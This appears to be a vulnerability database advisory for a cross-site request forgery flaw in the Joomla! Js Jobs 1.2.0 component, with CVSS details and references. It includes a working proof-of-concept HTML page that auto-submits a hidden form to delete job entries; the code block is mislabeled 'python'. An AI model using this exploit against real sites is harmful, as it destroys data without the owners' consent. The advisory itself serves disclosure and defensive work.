CVE-2018-25327

Description

Joomla! Component Js Jobs 1.2.0 contains a cross-site request forgery vulnerability that allows attackers to perform state-changing actions without token validation. Attackers can craft malicious HTML forms targeting administrative endpoints like job.jobenforcedelete to delete job entries or modify component settings when administrators visit attacker-controlled pages.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Joomla! Component Js Jobs 1.2.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2018-25327 -->
<!-- This page demonstrates the CSRF vulnerability by attempting to delete a job -->
<html>
  <body>
    <script>history.pushState('', '', '/')</script>
    <form action="http://target-site/administrator/index.php?option=com_jsjobs&task=job.jobenforcedelete" method="POST">
      <input type="hidden" name="cid[]" value="1" />
      <input type="hidden" name="boxchecked" value="1" />
      <input type="submit" value="Submit Request" />
    </form>
    <script>
      // Automatically submit the form when the page loads
      document.forms[0].submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2018-25327
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2018-25327
[3] CVE Details https://www.cvedetails.com/cve/CVE-2018-25327/
[4] VulDB https://vuldb.com/cve/CVE-2018-25327
[5] https://extensions.joomla.org/extension/js-jobs/
[6] https://www.exploit-db.com/exploits/44492
[7] https://www.joomsky.com
[8] https://www.vulncheck.com/advisories/joomla-component-js-jobs-cross-site-request-forgery

Raw JSON Data

JSON

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